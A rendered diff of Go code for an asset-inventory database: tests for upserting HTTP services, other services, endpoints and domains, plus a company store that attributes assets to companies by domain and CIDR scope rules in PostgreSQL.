func TestUpsertAppByName(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id1, err := av2.UpsertApp(UpsertAppReq{Name: "UniqueAppNoBundle", Category: "utility"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id1)
|
||||
|
||||
id2, err := av2.UpsertApp(UpsertAppReq{Name: "UniqueAppNoBundle"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("app name dedup failed: %d vs %d", id2, id1)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// HTTPService
|
||||
// =====================================================================
|
||||
|
||||
func TestUpsertHTTPService(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
sc := 200
|
||||
cl := int64(1024)
|
||||
id1, err := av2.UpsertHTTPService(UpsertHTTPServiceReq{
|
||||
URL: "https://www.httptest.example.com/",
|
||||
Technologies: []string{"nginx", "vue"},
|
||||
StatusCode: &sc,
|
||||
ContentLength: &cl,
|
||||
PageTitle: "Test Site",
|
||||
TaskID: 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE url = 'https://www.httptest.example.com' OR domain = 'www.httptest.example.com' OR domain = 'httptest.example.com'`)
|
||||
|
||||
if id1 == 0 {
|
||||
t.Fatal("expected non-zero id")
|
||||
}
|
||||
|
||||
// verify technology was stored
|
||||
var techCnt int
|
||||
d.QueryRow(`SELECT array_length(technologies, 1) FROM assets WHERE id = $1`, id1).Scan(&techCnt)
|
||||
if techCnt != 2 {
|
||||
t.Errorf("technologies: want 2, got %d", techCnt)
|
||||
}
|
||||
|
||||
// upsert again with additional tech → should merge (append)
|
||||
id2, err := av2.UpsertHTTPService(UpsertHTTPServiceReq{
|
||||
URL: "https://www.httptest.example.com/",
|
||||
Technologies: []string{"react", "webpack"},
|
||||
TaskID: 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("http service dedup failed: %d vs %d", id2, id1)
|
||||
}
|
||||
|
||||
d.QueryRow(`SELECT array_length(technologies, 1) FROM assets WHERE id = $1`, id1).Scan(&techCnt)
|
||||
if techCnt != 4 {
|
||||
t.Errorf("technologies merge: want 4, got %d", techCnt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertHTTPServiceAuthAppend(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
auth1 := []map[string]any{{"type": "basic", "username": "admin", "password": "pass"}}
|
||||
id1, err := av2.UpsertHTTPService(UpsertHTTPServiceReq{
|
||||
URL: "http://authtest.example.org/",
|
||||
Auth: auth1,
|
||||
TaskID: 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE url = 'http://authtest.example.org' OR domain IN ('authtest.example.org', 'example.org')`)
|
||||
|
||||
auth2 := []map[string]any{{"type": "bearer", "token": "tok123"}}
|
||||
id2, err := av2.UpsertHTTPService(UpsertHTTPServiceReq{
|
||||
URL: "http://authtest.example.org/",
|
||||
Auth: auth2,
|
||||
TaskID: 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("dedup failed: %d vs %d", id2, id1)
|
||||
}
|
||||
|
||||
// auth should have 2 items now
|
||||
var authCnt int
|
||||
d.QueryRow(`SELECT cardinality(auth) FROM assets WHERE id = $1`, id1).Scan(&authCnt)
|
||||
if authCnt != 2 {
|
||||
t.Errorf("auth append: want 2, got %d", authCnt)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// OtherService
|
||||
// =====================================================================
|
||||
|
||||
func TestUpsertOtherService(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id1, err := av2.UpsertOtherService(UpsertOtherServiceReq{
|
||||
IP: "172.16.0.1",
|
||||
Port: 22,
|
||||
ServiceName: "ssh",
|
||||
TaskID: 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE (type = 'service' AND service_name = 'ssh' AND ip = '172.16.0.1') OR (type = 'ip' AND ip = '172.16.0.1')`)
|
||||
|
||||
if id1 == 0 {
|
||||
t.Fatal("expected non-zero id")
|
||||
}
|
||||
|
||||
// dedup
|
||||
id2, err := av2.UpsertOtherService(UpsertOtherServiceReq{
|
||||
IP: "172.16.0.1",
|
||||
Port: 22,
|
||||
ServiceName: "ssh",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("other service dedup failed: %d vs %d", id2, id1)
|
||||
}
|
||||
|
||||
// side-effect: IP asset should have port 22 in open_ports
|
||||
var cnt int
|
||||
d.QueryRow(`SELECT cardinality(open_ports) FROM assets WHERE type='ip' AND ip='172.16.0.1'`).Scan(&cnt)
|
||||
if cnt == 0 {
|
||||
t.Error("side-effect: IP open_ports not populated")
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertOtherServiceAuthAppend(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
auth1 := []map[string]any{{"username": "admin", "password": "secret"}}
|
||||
id1, err := av2.UpsertOtherService(UpsertOtherServiceReq{
|
||||
IP: "10.5.5.5",
|
||||
Port: 3306,
|
||||
ServiceName: "mysql",
|
||||
Auth: auth1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE (type = 'service' AND ip = '10.5.5.5') OR (type = 'ip' AND ip = '10.5.5.5')`)
|
||||
|
||||
auth2 := []map[string]any{{"username": "root", "password": "root"}}
|
||||
id2, err := av2.UpsertOtherService(UpsertOtherServiceReq{
|
||||
IP: "10.5.5.5",
|
||||
Port: 3306,
|
||||
ServiceName: "mysql",
|
||||
Auth: auth2,
|
||||
})
|
||||
if err != nil || id2 != id1 {
|
||||
t.Fatalf("dedup or error: %v, ids %d vs %d", err, id2, id1)
|
||||
}
|
||||
|
||||
var authCnt int
|
||||
d.QueryRow(`SELECT cardinality(auth) FROM assets WHERE id = $1`, id1).Scan(&authCnt)
|
||||
if authCnt != 2 {
|
||||
t.Errorf("auth append: want 2, got %d", authCnt)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Endpoint
|
||||
// =====================================================================
|
||||
|
||||
func TestUpsertEndpoint(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
params1 := []map[string]any{{"location": "query", "name": "id", "value": "1"}}
|
||||
id1, err := av2.UpsertEndpoint(UpsertEndpointReq{
|
||||
URL: "https://api.eptest.com/users?id=1",
|
||||
Method: "GET",
|
||||
Params: params1,
|
||||
TaskID: 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM assets WHERE url LIKE '%eptest.com%' OR domain IN ('api.eptest.com', 'eptest.com')`)
|
||||
|
||||
if id1 == 0 {
|
||||
t.Fatal("expected non-zero id")
|
||||
}
|
||||
|
||||
// dedup (same URL + method = same endpoint)
|
||||
id2, err := av2.UpsertEndpoint(UpsertEndpointReq{
|
||||
URL: "https://api.eptest.com/users?id=1",
|
||||
Method: "GET",
|
||||
Params: []map[string]any{{"location": "query", "name": "filter", "value": "active"}},
|
||||
TaskID: 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id1 {
|
||||
t.Errorf("endpoint dedup failed: %d vs %d", id2, id1)
|
||||
}
|
||||
|
||||
// params should be merged (2 distinct params)
|
||||
var paramCnt int
|
||||
d.QueryRow(`SELECT cardinality(params) FROM assets WHERE id = $1`, id1).Scan(¶mCnt)
|
||||
if paramCnt != 2 {
|
||||
t.Errorf("params merge: want 2, got %d", paramCnt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertEndpointRequiredFields(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
_, err := av2.UpsertEndpoint(UpsertEndpointReq{URL: "", Method: "GET"})
|
||||
if err == nil {
|
||||
t.Error("expected error for empty URL")
|
||||
}
|
||||
|
||||
_, err = av2.UpsertEndpoint(UpsertEndpointReq{URL: "https://example.com/", Method: ""})
|
||||
if err == nil {
|
||||
t.Error("expected error for empty method")
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Query helpers
|
||||
// =====================================================================
|
||||
|
||||
func TestQueryByType(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: "querytest.example.net"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id)
|
||||
|
||||
assets, err := av2.QueryByType("root_domain", 10, 0)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, a := range assets {
|
||||
if a.ID == id {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Error("QueryByType: inserted asset not found")
|
||||
}
|
||||
}
|
||||
|
||||
func TestQueryByTask(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
const taskID = int64(99999)
|
||||
id, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: "taskquery.net", TaskID: taskID})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id)
|
||||
|
||||
assets, err := av2.QueryByTask(taskID, "", 10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, a := range assets {
|
||||
if a.ID == id {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Error("QueryByTask: inserted asset not found")
|
||||
}
|
||||
}
|
||||
|
||||
func TestQueryByCompany(t *testing.T) {
|
||||
d, av2, cs := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
companyID, _, err := cs.UpsertCompany("QueryByCompanyCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, companyID)
|
||||
|
||||
cs.AddScope(companyID, []string{"qbc-test.io"}, "test")
|
||||
|
||||
id, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: "qbc-test.io"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id)
|
||||
|
||||
if err := cs.RecomputeAttribution(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
assets, err := av2.QueryByCompany(companyID, "root_domain", 10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, a := range assets {
|
||||
if a.ID == id {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Error("QueryByCompany: attributed asset not found")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCountsByType(t *testing.T) {
|
||||
d, av2, _ := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
id, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: "counttest.example.biz"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, id)
|
||||
|
||||
counts, err := av2.CountsByType()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if counts["root_domain"] == 0 {
|
||||
t.Error("CountsByType: root_domain count should be > 0")
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Company attribution at insert time
|
||||
// =====================================================================
|
||||
|
||||
func TestCompanyAttributionAtInsertTime(t *testing.T) {
|
||||
d, av2, cs := testSetup(t)
|
||||
defer d.Close()
|
||||
|
||||
companyID, _, err := cs.UpsertCompany("InsertAttrCorp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, companyID)
|
||||
|
||||
cs.AddScope(companyID, []string{"insertattr.com"}, "test")
|
||||
|
||||
// Now insert a root domain — should be auto-attributed
|
||||
assetID, err := av2.UpsertRootDomain(UpsertRootDomainReq{Domain: "insertattr.com"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer deleteAsset(d, assetID)
|
||||
|
||||
var cid *int64
|
||||
d.QueryRow(`SELECT company_id FROM assets WHERE id = $1`, assetID).Scan(&cid)
|
||||
if cid == nil || *cid != companyID {
|
||||
t.Errorf("attribution at insert time: want company %d, got %v", companyID, cid)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// calcCSegment
|
||||
// =====================================================================
|
||||
|
||||
func TestCalcCSegment(t *testing.T) {
|
||||
tests := []struct {
|
||||
ip string
|
||||
want string
|
||||
}{
|
||||
{"192.168.1.5", "192.168.1.0/24"},
|
||||
{"10.0.0.255", "10.0.0.0/24"},
|
||||
{"", ""},
|
||||
{"notanip", ""},
|
||||
}
|
||||
for _, tc := range tests {
|
||||
got := calcCSegment(tc.ip)
|
||||
if got != tc.want {
|
||||
t.Errorf("calcCSegment(%q): want %q, got %q", tc.ip, tc.want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// marshalStringArray
|
||||
// =====================================================================
|
||||
|
||||
func TestMarshalStringArray(t *testing.T) {
|
||||
got := marshalStringArray([]string{"a", "b", "c"})
|
||||
if got != `{"a","b","c"}` {
|
||||
t.Errorf("unexpected: %q", got)
|
||||
}
|
||||
got2 := marshalStringArray(nil)
|
||||
if got2 != "{}" {
|
||||
t.Errorf("empty: %q", got2)
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// normalizeURL
|
||||
// =====================================================================
|
||||
|
||||
func TestNormalizeURL(t *testing.T) {
|
||||
tests := []struct {
|
||||
raw string
|
||||
want string
|
||||
}{
|
||||
{"HTTPS://Example.COM/path", "https://example.com/path"},
|
||||
{"http://example.com/", "http://example.com"},
|
||||
{"http://example.com/page", "http://example.com/page"},
|
||||
}
|
||||
for _, tc := range tests {
|
||||
got := normalizeURL(tc.raw)
|
||||
if got != tc.want {
|
||||
t.Errorf("normalizeURL(%q): want %q, got %q", tc.raw, tc.want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
+358
@@ -0,0 +1,358 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// =====================================================================
|
||||
// 公司主体层
|
||||
// =====================================================================
|
||||
|
||||
// Company is a row in the companies table.
|
||||
type Company struct {
|
||||
ID int64 `json:"id"`
|
||||
Name string `json:"name"`
|
||||
NKey string `json:"nkey"`
|
||||
Logo *string `json:"logo,omitempty"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
}
|
||||
|
||||
// CompanyWithScope extends Company with its scope rules and asset count.
|
||||
type CompanyWithScope struct {
|
||||
Company
|
||||
Scope []ScopeRule `json:"scope"`
|
||||
AssetCount int `json:"asset_count"`
|
||||
}
|
||||
|
||||
// ScopeRule is one company_scope row.
|
||||
type ScopeRule struct {
|
||||
ID int64 `json:"id"`
|
||||
CompanyID int64 `json:"company_id"`
|
||||
Kind string `json:"kind"`
|
||||
Domain string `json:"domain,omitempty"`
|
||||
Net string `json:"net,omitempty"`
|
||||
Raw string `json:"raw"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// CompanyStore operates on the companies + company_scope tables.
|
||||
type CompanyStore struct{ db *DB }
|
||||
|
||||
// Companies returns the company store.
|
||||
func (d *DB) Companies() *CompanyStore { return &CompanyStore{db: d} }
|
||||
|
||||
// companyNKey normalises a company name: lowercase + trim + collapse whitespace.
|
||||
func companyNKey(name string) string {
|
||||
return strings.Join(strings.Fields(strings.ToLower(name)), " ")
|
||||
}
|
||||
|
||||
// UpsertCompany creates or updates a company by name. Returns the id and whether
|
||||
// a new row was created.
|
||||
func (s *CompanyStore) UpsertCompany(name, logo string) (id int64, created bool, err error) {
|
||||
nkey := companyNKey(name)
|
||||
var logoVal any
|
||||
if logo != "" {
|
||||
logoVal = logo
|
||||
}
|
||||
err = s.db.QueryRow(`
|
||||
INSERT INTO companies(name, nkey, logo)
|
||||
VALUES ($1, $2, $3)
|
||||
ON CONFLICT (nkey) DO UPDATE SET
|
||||
name = EXCLUDED.name,
|
||||
logo = COALESCE(EXCLUDED.logo, companies.logo),
|
||||
updated_at = now()
|
||||
RETURNING id, (xmax = 0)`, name, nkey, logoVal).Scan(&id, &created)
|
||||
return
|
||||
}
|
||||
|
||||
// GetCompany returns one company by id (nil if not found).
|
||||
func (s *CompanyStore) GetCompany(id int64) (*Company, error) {
|
||||
c := &Company{}
|
||||
err := s.db.QueryRow(`
|
||||
SELECT id, name, nkey, logo, created_at::text, updated_at::text
|
||||
FROM companies WHERE id = $1`, id).Scan(
|
||||
&c.ID, &c.Name, &c.NKey, &c.Logo, &c.CreatedAt, &c.UpdatedAt)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return c, err
|
||||
}
|
||||
|
||||
// GetCompanyByName returns one company by normalized name (nil if not found).
|
||||
func (s *CompanyStore) GetCompanyByName(name string) (*Company, error) {
|
||||
nkey := companyNKey(name)
|
||||
c := &Company{}
|
||||
err := s.db.QueryRow(`
|
||||
SELECT id, name, nkey, logo, created_at::text, updated_at::text
|
||||
FROM companies WHERE nkey = $1`, nkey).Scan(
|
||||
&c.ID, &c.Name, &c.NKey, &c.Logo, &c.CreatedAt, &c.UpdatedAt)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return c, err
|
||||
}
|
||||
|
||||
// UpsertByName creates the company if it doesn't exist, then returns its id.
|
||||
func (s *CompanyStore) UpsertByName(name string) (int64, error) {
|
||||
id, _, err := s.UpsertCompany(name, "")
|
||||
return id, err
|
||||
}
|
||||
|
||||
// DeleteCompany deletes a company (cascades to scope rules; assets.company_id → NULL via FK).
|
||||
func (s *CompanyStore) DeleteCompany(id int64) error {
|
||||
_, err := s.db.Exec(`DELETE FROM companies WHERE id = $1`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListCompanies returns all companies with scope and asset count.
|
||||
func (s *CompanyStore) ListCompanies() ([]*CompanyWithScope, error) {
|
||||
rows, err := s.db.Query(`
|
||||
SELECT c.id, c.name, c.nkey, c.logo, c.created_at::text, c.updated_at::text,
|
||||
COUNT(DISTINCT a.id) AS asset_count
|
||||
FROM companies c
|
||||
LEFT JOIN assets a ON a.company_id = c.id
|
||||
GROUP BY c.id
|
||||
ORDER BY c.name`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []*CompanyWithScope
|
||||
for rows.Next() {
|
||||
cws := &CompanyWithScope{}
|
||||
if err := rows.Scan(&cws.ID, &cws.Name, &cws.NKey, &cws.Logo,
|
||||
&cws.CreatedAt, &cws.UpdatedAt, &cws.AssetCount); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, cws)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// fetch scope rules for each company
|
||||
for _, cws := range out {
|
||||
cws.Scope, err = s.GetScope(cws.ID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// GetScope returns all scope rules for a company.
|
||||
func (s *CompanyStore) GetScope(companyID int64) ([]ScopeRule, error) {
|
||||
rows, err := s.db.Query(`
|
||||
SELECT id, company_id, kind,
|
||||
COALESCE(domain,''), COALESCE(net::text,''), raw, COALESCE(reason,'')
|
||||
FROM company_scope
|
||||
WHERE company_id = $1
|
||||
ORDER BY id`, companyID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []ScopeRule
|
||||
for rows.Next() {
|
||||
var r ScopeRule
|
||||
if err := rows.Scan(&r.ID, &r.CompanyID, &r.Kind, &r.Domain, &r.Net, &r.Raw, &r.Reason); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, r)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// AddScope parses and inserts scope lines for a company, then reattributes assets.
|
||||
// Returns counts of added, skipped, and invalid lines.
|
||||
func (s *CompanyStore) AddScope(companyID int64, lines []string, reason string) (added, skipped, invalid int, errors []string) {
|
||||
for _, line := range lines {
|
||||
rule, err := ParseScopeLine(line)
|
||||
if err != nil {
|
||||
invalid++
|
||||
errors = append(errors, fmt.Sprintf("%s: %v", line, err))
|
||||
continue
|
||||
}
|
||||
inserted, err := s.insertScopeRule(companyID, rule, reason)
|
||||
if err != nil {
|
||||
invalid++
|
||||
errors = append(errors, fmt.Sprintf("%s: %v", line, err))
|
||||
continue
|
||||
}
|
||||
if inserted {
|
||||
added++
|
||||
} else {
|
||||
skipped++
|
||||
}
|
||||
}
|
||||
// attribute newly-covered assets
|
||||
if added > 0 {
|
||||
_ = s.attributeByCompany(companyID)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// insertScopeRule inserts a scope rule. Returns (inserted, error):
|
||||
// inserted=false means ON CONFLICT DO NOTHING triggered (duplicate), not an error.
|
||||
func (s *CompanyStore) insertScopeRule(companyID int64, rule ParsedScope, reason string) (inserted bool, err error) {
|
||||
var res interface{ RowsAffected() (int64, error) }
|
||||
if rule.Kind == "domain" {
|
||||
res, err = s.db.Exec(`
|
||||
INSERT INTO company_scope(company_id, kind, domain, raw, reason)
|
||||
VALUES ($1, 'domain', $2, $3, $4)
|
||||
ON CONFLICT ON CONSTRAINT uq_sv2_domain DO NOTHING`,
|
||||
companyID, rule.Domain, rule.Raw, reason)
|
||||
} else {
|
||||
res, err = s.db.Exec(`
|
||||
INSERT INTO company_scope(company_id, kind, net, raw, reason)
|
||||
VALUES ($1, $2, $3::cidr, $4, $5)
|
||||
ON CONFLICT ON CONSTRAINT uq_sv2_net DO NOTHING`,
|
||||
companyID, rule.Kind, rule.Net, rule.Raw, reason)
|
||||
}
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
return n > 0, nil
|
||||
}
|
||||
|
||||
// RecomputeAttribution clears all company attribution on assets and rebuilds
|
||||
// from scope rules. domain rules use root_domain equality; ip/cidr use INET >>= .
|
||||
func (s *CompanyStore) RecomputeAttribution() error {
|
||||
tx, err := s.db.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback() //nolint:errcheck
|
||||
|
||||
// step 1: clear all attribution
|
||||
if _, err := tx.Exec(`UPDATE assets SET company_id = NULL`); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// step 2: domain-based attribution (root_domain exact match)
|
||||
if _, err := tx.Exec(`
|
||||
UPDATE assets a SET company_id = (
|
||||
SELECT cs.company_id FROM company_scope cs
|
||||
WHERE cs.kind = 'domain'
|
||||
AND a.root_domain = cs.domain
|
||||
ORDER BY length(cs.domain) DESC
|
||||
LIMIT 1
|
||||
)
|
||||
WHERE type IN ('root_domain','subdomain','service','endpoint')
|
||||
AND root_domain IS NOT NULL`); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// step 3: ip/cidr attribution (only for assets not yet attributed)
|
||||
if _, err := tx.Exec(`
|
||||
UPDATE assets a SET company_id = (
|
||||
SELECT cs.company_id FROM company_scope cs
|
||||
WHERE cs.kind IN ('ip','cidr')
|
||||
AND cs.net >>= a.ip::inet
|
||||
ORDER BY masklen(cs.net) DESC
|
||||
LIMIT 1
|
||||
)
|
||||
WHERE type IN ('ip','subdomain','service','endpoint')
|
||||
AND ip IS NOT NULL
|
||||
AND company_id IS NULL`); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
// attributeByCompany reattributes only assets matching a specific company's scope.
|
||||
// Cheaper than full recompute; used when a company's scope is updated.
|
||||
func (s *CompanyStore) attributeByCompany(companyID int64) error {
|
||||
tx, err := s.db.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback() //nolint:errcheck
|
||||
|
||||
// clear this company's existing claims
|
||||
if _, err := tx.Exec(`UPDATE assets SET company_id = NULL WHERE company_id = $1`, companyID); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// domain rules
|
||||
if _, err := tx.Exec(`
|
||||
UPDATE assets a SET company_id = $1
|
||||
FROM company_scope cs
|
||||
WHERE cs.company_id = $1
|
||||
AND cs.kind = 'domain'
|
||||
AND a.root_domain = cs.domain
|
||||
AND type IN ('root_domain','subdomain','service','endpoint')
|
||||
AND a.company_id IS NULL`, companyID); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// ip/cidr rules
|
||||
if _, err := tx.Exec(`
|
||||
UPDATE assets a SET company_id = $1
|
||||
FROM company_scope cs
|
||||
WHERE cs.company_id = $1
|
||||
AND cs.kind IN ('ip','cidr')
|
||||
AND cs.net >>= a.ip::inet
|
||||
AND type IN ('ip','subdomain','service','endpoint')
|
||||
AND a.company_id IS NULL`, companyID); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
// UpdateScope replaces all scope rules for a company and reattributes.
|
||||
func (s *CompanyStore) UpdateScope(companyID int64, lines []string, reason string) (added, invalid int, errs []string) {
|
||||
// delete existing rules
|
||||
if _, err := s.db.Exec(`DELETE FROM company_scope WHERE company_id = $1`, companyID); err != nil {
|
||||
errs = append(errs, err.Error())
|
||||
return
|
||||
}
|
||||
added, _, invalid, errs = s.AddScope(companyID, lines, reason)
|
||||
return
|
||||
}
|
||||
|
||||
// ResolveCompany returns the company_id for a given root_domain and/or ip, or nil
|
||||
// if no scope rule matches. Mirrors the attribution logic used at asset insert time.
|
||||
func (s *CompanyStore) ResolveCompany(rootDomain, ipStr string) (*int64, error) {
|
||||
if rootDomain != "" {
|
||||
var cid int64
|
||||
err := s.db.QueryRow(`
|
||||
SELECT company_id FROM company_scope
|
||||
WHERE kind = 'domain'
|
||||
AND domain = $1
|
||||
ORDER BY length(domain) DESC
|
||||
LIMIT 1`, rootDomain).Scan(&cid)
|
||||
if err == nil {
|
||||
return &cid, nil
|
||||
}
|
||||
if err != sql.ErrNoRows {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if ipStr != "" {
|
||||
if net.ParseIP(ipStr) != nil {
|
||||
var cid int64
|
||||
err := s.db.QueryRow(`
|
||||
SELECT company_id FROM company_scope
|
||||
WHERE kind IN ('ip','cidr')
|
||||
AND net >>= $1::inet
|
||||
ORDER BY masklen(net) DESC
|
||||
LIMIT 1`, ipStr).Scan(&cid)
|
||||
if err == nil {
|
||||
return &cid, nil
|
||||
}
|
||||
if err != sql.ErrNoRows {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,289 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
// cleanup helpers to remove test data
|
||||
func cleanupCompany(d *DB, id int64) {
|
||||
d.Exec(`DELETE FROM company_scope WHERE company_id = $1`, id)
|
||||
d.Exec(`DELETE FROM companies WHERE id = $1`, id)
|
||||
}
|
||||
|
||||
func TestCompanyUpsertAndGet(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
|
||||
id, created, err := cs.UpsertCompany("Test Corp", "https://example.com/logo.png")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanupCompany(d, id)
|
||||
if !created {
|
||||
t.Error("first upsert should report created=true")
|
||||
}
|
||||
|
||||
// duplicate: same nkey, should not create new
|
||||
id2, created2, err := cs.UpsertCompany("Test Corp", "")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id2 != id {
|
||||
t.Errorf("dedup failed: %d != %d", id2, id)
|
||||
}
|
||||
if created2 {
|
||||
t.Error("second upsert should report created=false")
|
||||
}
|
||||
|
||||
c, err := cs.GetCompany(id)
|
||||
if err != nil || c == nil {
|
||||
t.Fatalf("GetCompany: %v", err)
|
||||
}
|
||||
if c.Name != "Test Corp" {
|
||||
t.Errorf("name: %q", c.Name)
|
||||
}
|
||||
|
||||
// GetCompanyByName
|
||||
c2, err := cs.GetCompanyByName("test corp") // normalised
|
||||
if err != nil || c2 == nil {
|
||||
t.Fatalf("GetCompanyByName: %v", err)
|
||||
}
|
||||
if c2.ID != id {
|
||||
t.Errorf("GetCompanyByName id mismatch: %d vs %d", c2.ID, id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompanyScope(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v)", err)
|
||||
}
|
||||
defer d.Close()
|
||||
cs := d.Companies()
|
||||
|
||||
id, _, err := cs.UpsertCompany("ScopeTestCorp", "")
|
||||
